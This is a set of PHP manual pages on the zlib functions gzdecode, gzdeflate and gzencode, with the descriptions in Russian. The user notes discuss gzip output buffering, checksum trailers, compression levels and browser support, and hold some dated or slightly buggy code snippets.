Contrary to popular opinion the checksum in the last four bytes of output is not "wrong", it's just not very useful: RFC 1950 s8.2 specifies that the "Adler-32" checksum, not CRC32 should be appended to the compressed data and PHP function follows the RFC (if for no other reason because it uses zlib and Mark Adler was one of the authors thereof). In contrast gzip expects a CRC32 (i.e. it doesn't follow that RFC), and treats the Adler-32 checksum as an incorrect CRC32.

AFAICT there is no simple way to compute the CRC32 directly from the Adler32 checksum.

Personally, my solution was to write a short C program that performs a deflate on, and calculates the CRC32 of, stdin while writing the compressed data (with trailing CRC32 instead of Adler32) on stdout. It's an ugly hack, but it does allow me to  serve a ~1GB compressed output with only a single pass over the uncompressed data and without hitting my 8MB memory limit. In contrast, methods using gzcompress() and crc32() would seem to require a theoretical minimum of three passes across the input data (read into memory, compress, calculate CRC) and 2GB of allocated memory to produce a 1GB compressed output... Short of writing crc32() and deflate() functions from scratch, I couldn't find any way of doing this without either storing the whole output in a variable or resorting to a module in another language.
14-Jun-2005 07:39
If no parameter is given, the default level of 6 is used.

benchmarking the speed:
(compression, datasize, compress time)
0: 37440 (0.002 s)
1: 2537 (0.002 s)
2: 2298 (0.003 s)
3: 2199 (0.003 s)
4: 2299 (0.003 s)
5: 1939 (0.004 s)
6: 1789 (0.004 s)
7: 1724 (0.004 s)
8: 1635 (0.005 s)
9: 1635 (0.005 s)

Level 0 = no compression, then level 1-4 are roughly the fastest to compress with reasonable quality. level 5-7 give better compression but take a little longer and 8-9 take nearly double the time to compress but give best results.

So the system default of 6 is actually a good compromise in speed/size. But for very fast compression times, I go with the threshold value of 3.
gaelreth at gmail dot com 03-May-2005 08:27
There is a useful zipfile class at http://www.zend.com/codex.php?id=696&single=1 that allows you to zip many files into one zip file.
dwales at easyetrader dot com 30-Jul-2003 12:48
I find this works well, save the snip below in your php/ directory then edit your prepend.php file and add a require statement that requires the compression.php file below. Once complete watch (tail -f) your php error log to see the results of compression in action.

<?php

// Gzip encode the contents of the output buffer.
function compress_output_option($output)
{
    // Compress the data into a new var.
    $compressed_out = gzencode($output);

    // Don't compress any pages less than 1000 bytes
    // as it's not worth the overhead at either side.
    if(strlen($output) >= 1000)
    {
        error_log('compression.php Gzipd Output'."\n"
                 .'Before compression size '
                 .strlen($output).' bytes'."\n"
                 .' After compression size '
                 .strlen($compressed_out).' bytes');
        // Tell the browser the content is compressed with gzip
        header("Content-Encoding: gzip");
        return $compressed_out;
    }
    else
    {
        // No compression
        error_log('compression.php Standard Output.');
        return $output;
    }
}

// Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip'))
{
    // Start output buffering, and register compress_output() (see
    // below)
    ob_start("compress_output_option");

}
?>
devcontact at tech-island dot com 24-Mar-2003 07:45
The method of first reading the source file and then passing its content to the gzip function instead of simply the source and destination filename was a bit confusing for me.

So I have written a simple funtion you can use to compress files in the gzip format (gzip is readable by winzip like .zip files)

function compress($srcName, $dstName)
{
  $fp = fopen($srcName, "r");
  $data = fread ($fp, filesize($srcName));
  fclose($fp);

  $zp = gzopen($dstName, "w9");
  gzwrite($zp, $data);
  gzclose($zp);
}

// Compress a file
compress("/web/myfile.dat", "/web/myfile.gz");
mail at ciruz dot de 11-Mar-2003 12:59
You should use the crc coz' some linux browsers need it. Some browser won't display anything without crc. My code works with these browsers (tested ;))
chris at mad-teaparty dot com 26-Feb-2003 10:58
little correction of the one above:
the crc is not necessarily needed to display the content in browsers, but it's still useful as a checksum. I suggest that most of the browsers don't check it anyway, otherwise they would not display contents with broken checksums.
Scripts seem to be a little bit faster, you may weigh up advantages with disadvantages (e.g. when you use a secure connection).
chris at mad-teaparty dot com 26-Feb-2003 03:26
It seems that you don't have to pack the crc-checksum and the length of the string. The crucial thing is to erase the last 4 bytes of the gzcompressed content. They seem to be redundant in any case. I rewrote the function "gzDocOut" and I think, it is the most efficient and shortest way to encode an output with gzcompress:

function gzDocOut() {

     if ($encoding = checkCanGzip()) {
       $contents = ob_get_contents();
       ob_end_clean();
       header("Content-Encoding: ". $encoding);
       $output = "\x1f\x8b\x08\x00\x00\x00\x00\x00";
       $output .= substr(gzcompress($contents, 2), 0, -4);
       echo $output;
       exit();
     }
     else {
       ob_end_flush();
       exit();
     }

}

Tested with IE5.5, Netscape 7, Mozilla 1.2, Opera 7, Opera 6 as well as Netscape 4.7. I'll test further browsers to be sure...
orlink at hotmail dot com 03-Jun-2002 12:32
I tried sending a pre-compressed javascript with header("Content-Encoding: gzip") to a request from <script type=javascript src="http://...?op=getscript">.

I have found out so far that IE4 does not support external compressed scripts and stylesheets (that is not embedded in the HTML but included with <script ...src=...> and <link src=...>).  With other versions of IE it works on some computers and not on others even if they have exactly the same versions of IE and Windows.   For instance IE 5.0xxxxxx and Windows 98 Buldxxxx.
If anyones knows of at least one configuration of IE and a OS for which it works for SURE let me know.
postmaster at ak-dev dot com 02-Jun-2002 04:57
Second try! In my mind, the following source code is right with 4.1.2 and higher, and seems to be right with other versions... and its works with all browser I tried(NS 4.7x, mozilla 1.00rc3, IE5.5, opera6.01)...
As it is said in documentation of the function gzencode, you have to use this function, if you want to get the right result! gzcompress doesn't create the right stream output for browsers!(It is explained in gzencode documentation: generated headers are not the same!)

The source code:

<?
  function checkCanGzip() {

      global $HTTP_ACCEPT_ENCODING;

      if (headers_sent()) return 0;
      if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return
"x-gzip";
      if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return
"gzip";
      return 0;

  }

  function gzDocOut() {

      if ($encoding = checkCanGzip()) {
        $contents = ob_get_contents();
        ob_end_clean();
        header("Content-Encoding: ".$encoding);
//        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $contents = gzencode($contents);
//        $contents = substr($contents, 0, strlen($contents) - 4);
        print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', strlen($contents)));
        exit();
      }
      else {
        ob_end_flush();
        exit();
      }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

You have to note, that gzencode is able to generate deflate compression, but the previous source code, does not implemente it. You just have to read gzencode documentation to find this tip.
function gzencode in php 4.2.0 (and higher) allows to use a compression level, it is not possible in loder versions.

The code which is commented, is wrong source code, used, in the different exemple found on this page!
postmaster at ak-dev dot com 01-Jun-2002 07:42
It seems that you don't need anymore to add the crc and the size at the end of the stream, it works fairly with php4.06! I don't have tried for the moment with highest version than php 4.06.
The source code:

<?
  function checkCanGzip() {

      global $HTTP_ACCEPT_ENCODING;

      if (headers_sent()) return 0;
      if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return "x-gzip";
      if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return "gzip";
      return 0;

  }

  function gzDocOut() {

      if ($encoding = checkCanGzip()) {
        $contents = ob_get_contents();
        ob_end_clean();
        header("Content-Encoding: ".$encoding);
        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $size = strlen($contents);
        $contents = gzcompress($contents, 9);
        $contents = substr($contents, 0, $size);
        print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', $size));
        exit();
      }
      else {
        ob_end_flush();
        exit();
      }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

For the  moment, I have only tried on IE5.5, and it works well.
Effectively, with the crc and the size at the end of gile, it doesn't work!
rostor at swzone dot org 18-Sep-2001 05:04
To solve I.E.5.x data compress problem on IIS5, such opening a download dial box or wrong page load, the only way for me was to change the header content type:

<? header("Content-type: gzip");ob_start ("ob_gzhandler");?>

but now all browser that doesn't support gzip don't load the page.
webmaster at mail.bg 01-Aug-2001 03:40
When you compress your data IE (5.x for sure, no idea about Netscape) may mess up the mime headers, so you may e.g. loose your extensions after compressing output. In my case in attachment saving with no compression everything works fine. When I compress output everything seems OK except I loose the file extension (althogh it really is in the headers). This is because IE seems to think your attachment is mimetype gzip, and not what you send in the headers that follow.

In such cases the easiest sollution would be to disable compression (maybe partially with an .htaccess file?).
gvirgo at mithril dot com 01-Jan-2001 11:14
>>Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support
>>gz-compression. Email me if you want to know more.

As a matter of fact, Netscape 4.7x on Win32 DOES support gz-compression.  Calling the following script in my auto_prepend directive seems to work fine.  The script is taken from the Output Buffering article on Zend.com (http://www.zend.com/zend/art/buffering.php).  As noted in the article, it only works with PHP 4.0.4 and higher.

<?php

        // function to compress the output buffer in preparation for transmission to client
    function compress_output($output) {

            // compress and return the output buffer
        return gzencode($output);
    }

        // Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
    if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip')) {

            // Start output buffering, and register compress_output()
        ob_start("compress_output");

            // Tell the browser the content is compressed with gzip
        header("Content-Encoding: gzip");
    }

?>
fil at rezox dot com 20-Dec-2000 06:15
GZ-compression works perfectly for html content sent to IE5/IE5.5/Netscape6 browsers. I even compress the <script src='javascriptstuff'> javascript code. It speeds throughput immensely: best case so far 160k html file --> 8k gzip sent.

Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support gz-compression. Email me if you want to know more.
ck at newsclub dot de 28-Sep-2000 12:25
Ah right, I did not realize it because my browsers (Acorn Browse on RISC OS and Netscape on Windows) don't make problems at all.

Anyway, you can replace your function "gzip_PrintFourChars"
with "echo pack("V",$Crc)".
@boas.anthro.mnsu.edu 26-Sep-2000 11:30
No, it doesn't return gzip compressed data -- specifically, the CRC is messed up.  However, after massaging the output a lot, I have come up with a solution.  I also commented it a lot, pointing out odd things.

<?php
// Start the output buffer
ob_start();
ob_implicit_flush(0);

// Output stuff here...

// Get the contents of the output buffer
$contents = ob_get_contents();
ob_end_clean();

// Tell the browser that they are going to get gzip data
// Of course, you already checked if they support gzip or x-gzip
// and if they support x-gzip, you'd change the header to say
// x-gzip instead, right?
header("Content-Encoding: gzip");

// Display the header of the gzip file
// Thanks ck@medienkombinat.de!
// Only display this once
echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";

// Figure out the size and CRC of the original for later
$Size = strlen($contents);
$Crc = crc32($contents);

// Compress the data
$contents = gzcompress($contents, 9);

// We can't just output it here, since the CRC is messed up.
// If I try to "echo $contents" at this point, the compressed
// data is sent, but not completely.  There are four bytes at
// the end that are a CRC.  Three are sent.  The last one is
// left in limbo.  Also, if we "echo $contents", then the next
// byte we echo will not be sent to the client.  I am not sure
// if this is a bug in 4.0.2 or not, but the best way to avoid
// this is to put the correct CRC at the end of the compressed
// data.  (The one generated by gzcompress looks WAY wrong.)
// This will stop Opera from crashing, gunzip will work, and
// other browsers won't keep loading indefinately.
//
// Strip off the old CRC (it's there, but it won't be displayed
// all the way -- very odd)
$contents = substr($contents, 0, strlen($contents) - 4);

// Show only the compressed data
echo $contents;

// Output the CRC, then the size of the original
gzip_PrintFourChars($Crc);
gzip_PrintFourChars($Size);

// Done.  You can append further data by gzcompressing
// another string and reworking the CRC and Size stuff for
// it too.  Repeat until done.

function gzip_PrintFourChars($Val)
{
    for ($i = 0; $i < 4; $i ++)
    {
        echo chr($Val % 256);
        $Val = floor($Val / 256);
    }
}
?>


Декодирует строку, сжатую с помощью gzip

  • « gzcompress
  • gzdeflate »
  • PHP Manual
  • Функции Zlib
  • Декодирует строку, сжатую с помощью gzip

gzdecode

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

gzdecode — Декодирует строку, сжатую с помощью gzip

Описание

gzdecode(string $data, int $max_length = 0): string|false

Эта функция возвращает декодированную версию входных данных. data.

Список параметров

data

Данные для декодирования, закодированные с помощью gzencode().

max_length

Максимальный размер строки для декодирования.

Возвращаемые значения

Распакованная строка или false в случае возникновения ошибки.

Ошибки

В случае возникновения ошибки возвращает ошибку уровня E_WARNING.

Смотрите также

  • gzencode() - Создать сжатую строку gzip

User Contributed Notes

anonymous at dekho-ji.com 08-Jul-2020 09:32
PROBLEM - gzdecode is returning truncated decoded string, file size of .gz file was 268 KB only

SOLUTION - use GZFILE() function to return the fully decoded string without any truncation

Hope this helps
msegit post pl 12-Jul-2018 08:40
katzlbtjunk (2008-04-30), thanks for code. But remember, .gz file may be series of members (data sets). They should be uncompressed in loop.
Fixed code gzdecodeM() on http://gist.github.com/msegu/de556cdd32eb58430871b06145168024
Addicionally, you can
- get data of gz members in array
- choose members you need to extract
Artem 23-Mar-2017 01:13
This can help to decompress the data from tar archive in certain cases, hope this helps somebody
<?php
$tarName = 'example.ini';

try {
    /** For files with tar.gz extensions **/
    $phar = new \PharData($path, 0, $tarName);
} catch ($e) {
    /** Decode the file first **/
    $decodedFile = file_put_contents($path, gzdecode(file_get_contents($path)));
    /** create PharData object second **/
    $phar = new \PharData($path, 0, $tarName);
}
?>
fabrizio dot rastiello at gmail dot com 07-Feb-2016 08:35
In my case to decode correctly a GZIPOutputStream POST from Android I used
gzinflate( substr($post,10,-8) );
and not
gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL
trevize32 at gmail dot com 14-Aug-2015 05:32
I use the following code:

function &gzdecodedata(&$data) {

    ob_start();

    readgzfile('data://application/gzip;base64,' . base64_encode($data));

    $d = ob_get_clean();

    return $d;
}
Anonymous 18-Jul-2014 05:33
if (!function_exists('gzdecode')) {
    function gzdecode($data)
    {
        return gzinflate(substr($data,10,-8));
    }
}
anonymous at dekho-ji dot com 16-May-2013 11:31
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
tomas at slax dot org 05-Nov-2011 04:25
I don't have any deep knowledge in compression algorithms and formats, so I have no idea if this works the same on all platforms. But by several experiments on my Linux box I found how to get gzdecoded data without temporary files. Here it is:

<?php
function gzdecode($data)
{
   return gzinflate(substr($data,10,-8));
}
?>

That's it. Simply strip header and footer bytes and you get raw deflated data for inflation.
webmaster at askapache dot com 02-Jul-2008 02:32
I have used this simple function to gzdecode gzipped files downloaded from the web.

<?php

function gzdecode($data){
  $g=tempnam('/tmp','ff');
  @file_put_contents($g,$data);
  ob_start();
  readgzfile($g);
  $d=ob_get_clean();
  return $d;
}

?>
katzlbtjunk at hotmail dot com 02-May-2008 07:15
3 more bugs found and fixed:
1. failed to work when the gz contained a filename - FIXED
2. failed to work on 64-bit architecture (checksum) - FIXED
3. failed to work when the gz contained a comment - cannot verify.
Returns some errors (not all!) and filename.
<?php function gzdecode($data,&$filename='',&$error='',$maxlength=null)
{
    $len = strlen($data);
    if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
        $error = "Not in GZIP format.";
        return null;  // Not GZIP format (See RFC 1952)
    }
    $method = ord(substr($data,2,1));  // Compression method
    $flags  = ord(substr($data,3,1));  // Flags
    if ($flags & 31 != $flags) {
        $error = "Reserved bits not allowed.";
        return null;
    }
    // NOTE: $mtime may be negative (PHP integer limitations)
    $mtime = unpack("V", substr($data,4,4));
    $mtime = $mtime[1];
    $xfl   = substr($data,8,1);
    $os    = substr($data,8,1);
    $headerlen = 10;
    $extralen  = 0;
    $extra     = "";
    if ($flags & 4) {
        // 2-byte length prefixed EXTRA data in header
        if ($len - $headerlen - 2 < 8) {
            return false;  // invalid
        }
        $extralen = unpack("v",substr($data,8,2));
        $extralen = $extralen[1];
        if ($len - $headerlen - 2 - $extralen < 8) {
            return false;  // invalid
        }
        $extra = substr($data,10,$extralen);
        $headerlen += 2 + $extralen;
    }
    $filenamelen = 0;
    $filename = "";
    if ($flags & 8) {
        // C-style string
        if ($len - $headerlen - 1 < 8) {
            return false; // invalid
        }
        $filenamelen = strpos(substr($data,$headerlen),chr(0));
        if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
            return false; // invalid
        }
        $filename = substr($data,$headerlen,$filenamelen);
        $headerlen += $filenamelen + 1;
    }
    $commentlen = 0;
    $comment = "";
    if ($flags & 16) {
        // C-style string COMMENT data in header
        if ($len - $headerlen - 1 < 8) {
            return false;    // invalid
        }
        $commentlen = strpos(substr($data,$headerlen),chr(0));
        if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
            return false;    // Invalid header format
        }
        $comment = substr($data,$headerlen,$commentlen);
        $headerlen += $commentlen + 1;
    }
    $headercrc = "";
    if ($flags & 2) {
        // 2-bytes (lowest order) of CRC32 on header present
        if ($len - $headerlen - 2 < 8) {
            return false;    // invalid
        }
        $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
        $headercrc = unpack("v", substr($data,$headerlen,2));
        $headercrc = $headercrc[1];
        if ($headercrc != $calccrc) {
            $error = "Header checksum failed.";
            return false;    // Bad header CRC
        }
        $headerlen += 2;
    }
    // GZIP FOOTER
    $datacrc = unpack("V",substr($data,-8,4));
    $datacrc = sprintf('%u',$datacrc[1] & 0xFFFFFFFF);
    $isize = unpack("V",substr($data,-4));
    $isize = $isize[1];
    // decompression:
    $bodylen = $len-$headerlen-8;
    if ($bodylen < 1) {
        // IMPLEMENTATION BUG!
        return null;
    }
    $body = substr($data,$headerlen,$bodylen);
    $data = "";
    if ($bodylen > 0) {
        switch ($method) {
        case 8:
            // Currently the only supported compression method:
            $data = gzinflate($body,$maxlength);
            break;
        default:
            $error = "Unknown compression method.";
            return false;
        }
    }  // zero-byte body content is allowed
    // Verifiy CRC32
    $crc   = sprintf("%u",crc32($data));
    $crcOK = $crc == $datacrc;
    $lenOK = $isize == strlen($data);
    if (!$lenOK || !$crcOK) {
        $error = ( $lenOK ? '' : 'Length check FAILED. ') . ( $crcOK ? '' : 'Checksum FAILED.');
        return false;
    }
    return $data;
}
?>
katzlbtjunk at hotmail dot com 30-Apr-2008 01:51
Aaron G. 07-Aug-2004 03:29 posted the function gzdecode()
to gzencode comments. I FIXED the BUG: if($flags & 1) to the correct if($flags & 2)

Unfortunately the function gzencode() does NOT append a CRC so I did not notice until I tried to upload a file compressed with gzip itself.

<?php

function gzdecode($data) {
  $len = strlen($data);
  if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
    return null;  // Not GZIP format (See RFC 1952)
  }
  $method = ord(substr($data,2,1));  // Compression method
  $flags  = ord(substr($data,3,1));  // Flags
  if ($flags & 31 != $flags) {
    // Reserved bits are set -- NOT ALLOWED by RFC 1952
    return null;
  }
  // NOTE: $mtime may be negative (PHP integer limitations)
  $mtime = unpack("V", substr($data,4,4));
  $mtime = $mtime[1];
  $xfl   = substr($data,8,1);
  $os    = substr($data,8,1);
  $headerlen = 10;
  $extralen  = 0;
  $extra     = "";
  if ($flags & 4) {
    // 2-byte length prefixed EXTRA data in header
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $extralen = unpack("v",substr($data,8,2));
    $extralen = $extralen[1];
    if ($len - $headerlen - 2 - $extralen < 8) {
      return false;    // Invalid format
    }
    $extra = substr($data,10,$extralen);
    $headerlen += 2 + $extralen;
  }

  $filenamelen = 0;
  $filename = "";
  if ($flags & 8) {
    // C-style string file NAME data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $filenamelen = strpos(substr($data,8+$extralen),chr(0));
    if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
      return false;    // Invalid format
    }
    $filename = substr($data,$headerlen,$filenamelen);
    $headerlen += $filenamelen + 1;
  }

  $commentlen = 0;
  $comment = "";
  if ($flags & 16) {
    // C-style string COMMENT data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $commentlen = strpos(substr($data,8+$extralen+$filenamelen),chr(0));
    if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
      return false;    // Invalid header format
    }
    $comment = substr($data,$headerlen,$commentlen);
    $headerlen += $commentlen + 1;
  }

  $headercrc = "";
  if ($flags & 2) {
    // 2-bytes (lowest order) of CRC32 on header present
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
    $headercrc = unpack("v", substr($data,$headerlen,2));
    $headercrc = $headercrc[1];
    if ($headercrc != $calccrc) {
      return false;    // Bad header CRC
    }
    $headerlen += 2;
  }

  // GZIP FOOTER - These be negative due to PHP's limitations
  $datacrc = unpack("V",substr($data,-8,4));
  $datacrc = $datacrc[1];
  $isize = unpack("V",substr($data,-4));
  $isize = $isize[1];

  // Perform the decompression:
  $bodylen = $len-$headerlen-8;
  if ($bodylen < 1) {
    // This should never happen - IMPLEMENTATION BUG!
    return null;
  }
  $body = substr($data,$headerlen,$bodylen);
  $data = "";
  if ($bodylen > 0) {
    switch ($method) {
      case 8:
        // Currently the only supported compression method:
        $data = gzinflate($body);
        break;
      default:
        // Unknown compression method
        return false;
    }
  } else {
    // I'm not sure if zero-byte body content is allowed.
    // Allow it for now...  Do nothing...
  }

  // Verifiy decompressed size and CRC32:
  // NOTE: This may fail with large data sizes depending on how
  //       PHP's integer limitations affect strlen() since $isize
  //       may be negative for large sizes.
  if ($isize != strlen($data) || crc32($data) != $datacrc) {
    // Bad format!  Length or CRC doesn't match!
    return false;
  }
  return $data;
}

?>


Сжимает строку

  • « gzdecode
  • gzencode »
  • PHP Manual
  • Функции Zlib
  • Сжимает строку

gzdeflate

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gzdeflate — Сжимает строку

Описание

gzdeflate(string $data, int $level = -1, int $encoding = ZLIB_ENCODING_RAW): string|false

Данная функция сжимает строку, используя формат данных DEFLATE.

Подробнее об алгоритме сжатия DEFLATE смотрите "» Формат сжатия данных DEFLATE. Спецификация версии 1.3" (RFC 1951).

Список параметров

data

Данные для сжатия.

level

Уровень сжатия. 0 - без сжатия, 9 - максимум. Если не указан, будет использоваться уровень сжатия по умолчанию библиотеки zlib.

encoding

Одна из ZLIB_ENCODING_* констант.

Возвращаемые значения

Сжатая строка или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gzdeflate()

<?php
$compressed = gzdeflate('Сожми меня', 9);
echo $compressed;
?>

Смотрите также

  • gzinflate() - Распаковать сжатую строку
  • gzcompress() - Сжать строку
  • gzuncompress() - Распаковать сжатую строку
  • gzencode() - Создать сжатую строку gzip

User Contributed Notes

HUjuice 05-Jan-2016 05:23
The HTTP deflate is quite complicated.
The RFC7230, Sec 4.2.2 (https://tools.ietf.org/html/rfc7230#section-4.2.2) says:
«The "deflate" coding is a "zlib" data format [RFC1950] containing a "deflate" compressed data stream [RFC1951] that uses a combination of the Lempel-Ziv (LZ77) compression algorithm and Huffman coding.»
and, also:
«Note: Some non-conformant implementations send the "deflate" compressed data without the zlib wrapper.»

Since this function implements the RFC1951, the compliant encoding of a $payload should be:

gzcompress(gzdeflate($payload));
banditsmile at qq dot com 19-Dec-2014 08:49
start from php5.4.0 gzdeflate has the fastest speed and best zip rate.
http://3v4l.org/K2XAf
bzbzh 12-Dec-2014 01:21
The "One of ZLIB_ENCODING_* constants." seems to be available only from PHP 5.4.

So I guess that is you are PHP 5.3 you don't use the $encoding parameter...
stockton at wowway dot com 29-Jun-2013 03:30
After some searching and experimentation I found that the output from this function cannot be 'inflated' with the objective c 'zlibInflate' wrapper for 'zlib' that is available at http://cocoadev.com/wiki/NSDataCategory but the output from gzcompress() can be. Thank you "anonymous at php dot net" and "tomas at slax dot org" for the clues. I hope this saves someone else the searching.
robin 26-Feb-2010 05:46
running 50000 repetitions on various content, i found that gzdeflate() and gzcompress() both performed equally fast regardless content and compression level, but gzinflate() was always about twice as fast as gzuncompress().
anonymous at php dot net 04-Jun-2009 05:20
gzcompress produces longer data because it embeds information about the encoding onto the string. If you are compressing data that will only ever be handled on one machine, then you don't need to worry about which of these functions you use. However, if you are passing data compressed with these functions to a different machine you should use gzcompress.
tomas at slax dot org 03-Oct-2008 05:13
gzcompress() is the same like gzdefflate(), it produces identical data and its speed is the same as well. The only difference is that gzcompress produces 6 bytes bigger result (2 extra bytes at the beginning and 4 extra bytes at the end).
giunta dot gaetano at sea-aeroportimilano dot it 21-Aug-2006 05:22
Take care that that "PHP deflate" != "HTTP deflate".

The deflate encoding used in HTTP is actually zlib encoded.

This is what PHP functions return:
gzencode() == gzip
gzcompress() == zlib (aka. HTTP deflate)
gzdeflate()  == *raw* deflate encoding
denis dot noessler at red-at dot de 17-Jun-2003 03:26
if you have compressed data which is greater than 2 MB (system dependent), you will receive a buffer error by calling the function gzinflate().
be sure to to compress your data by a lower compression level, like 1.
i.e.: gzdeflate($sData, 1);


Создать сжатую строку gzip

  • « gzdeflate
  • gzeof »
  • PHP Manual
  • Функции Zlib
  • Создать сжатую строку gzip

gzencode

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gzencode — Создать сжатую строку gzip

Описание

gzencode(string $data, int $level = -1, int $encoding = ZLIB_ENCODING_GZIP): string|false

Эта функция возвращает сжатую версию входных данных data, аналогично выводу программы gzip.

Подробности о формате GZIP смотрите » Формат файла GZIP. Спецификация версии 4.3 (RFC 1952).

Список параметров

data

Данные для кодирования.

level

Уровень сжатия. 0 - без сжатия, 9 - максимальное сжатие. Если не указано, будет использоваться уровень сжатия по умолчанию библиотеки zlib.

encoding

Режим сжатия, может быть FORCE_GZIP (по умолчанию) или FORCE_DEFLATE.

Использование константы FORCE_DEFLATE генерирует вывод, совместимый с RFC 1950, состоящий из заголовка zlib, сжатых данных и контрольной суммы Adler.

Возвращаемые значения

Сжатая строка или false в случае возникновения ошибки.

Примеры

Возвращаемые данные будут содержать соответствующие заголовки и структуры данных как в обычном .gz-файле, например:

Пример #1 Создание файла gzip

<?php
$data = file_get_contents("bigfile.txt");
$gzdata = gzencode($data, 9);
file_put_contents("bigfile.txt.gz", $gzdata);
?>

Смотрите также

  • gzdecode() - Декодирует строку, сжатую с помощью gzip
  • gzdeflate() - Сжимает строку
  • gzinflate() - Распаковать сжатую строку
  • gzuncompress() - Распаковать сжатую строку
  • gzcompress() - Сжать строку
  • » Спецификация ZLIB Compressed Data (RFC 1950)

User Contributed Notes

pang dot lab at gmail dot com 06-Jul-2020 08:44
* Compressing file

function compressFile(string $filePath): ?string
{
    $compressedFile = $filePath.".gz";
    $data     = implode(",", file($filePath));
    $gzdata   = gzencode($data, 9);
    $fp       = fopen($compressedFile, "w");
    $successWrite = fwrite($fp, $gzdata);
    fclose($fp);
    if($successWrite === false) {
        return null;
    }

    return $compressedFile;
}
geompse at gmail dot com 22-Aug-2011 03:24
Had some trouble finding the correct way to send a Content-Length header with HTTP compression.
The pitch is to use gzencode (not gzdeflaten not gzcompress).

<?php

// disable ZLIB ouput compression
ini_set('zlib.output_compression','Off');

// compress data
$gzipoutput = gzencode($output,6);

// various headers, those with # are mandatory
header('Content-Type: application/x-download');
header('Content-Encoding: gzip'); #
header('Content-Length: '.strlen($gzipoutput)); #
header('Content-Disposition: attachment; filename="myfile.name"');
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Pragma: no-cache');

// output data
